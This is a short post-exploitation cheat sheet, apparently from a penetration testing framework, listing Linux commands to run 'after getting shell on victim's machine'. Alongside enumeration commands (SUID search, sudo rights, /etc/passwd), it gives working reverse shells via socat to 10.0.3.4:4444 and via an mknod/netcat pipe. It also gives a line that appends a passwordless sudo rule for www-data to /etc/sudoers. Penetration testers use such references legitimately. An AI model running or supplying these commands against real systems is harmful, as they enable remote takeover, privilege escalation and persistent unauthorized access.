Lockdoor Framework

A Penetration Testing Framework

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Linux Enumeration

Things to do after getting shell on victim’s machine

• Find World Writable Folders

find / -xdev -type d -perm -0002 -ls 2> /dev/null

- Find World Writable Files

```ShellSession
find / -xdev -type f -perm -0002 -ls 2> /dev/null

• Find SUIDs

find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null

• DIstro Information

cat /etc/*-release

• Check open ports

netstat -antup

• Check for sudo permissions

sudo -l

• Check OS architecture

uname -a

• Check cronjobs

cat /etc/cron*

• Check network configuration

ip addr

• Check contents of /etc/passwd

cat /etc/passwd

• Using socat
  • Listen

      $ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

- Connect

      $ socat file:`tty`,raw,echo=0 tcp-listen:4444

• Reverse connection using mknod

mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc <ip> <port> 1> /tmp/backpipe; rm /tmp/backpipe

• Check version of an installed application

dpkg -l <application name>

• Sometimes checking /opt /tmp /var /usr might help.

• Edit sudoers file and grant sudo access to the current user (www-data in this case) with no password

echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers

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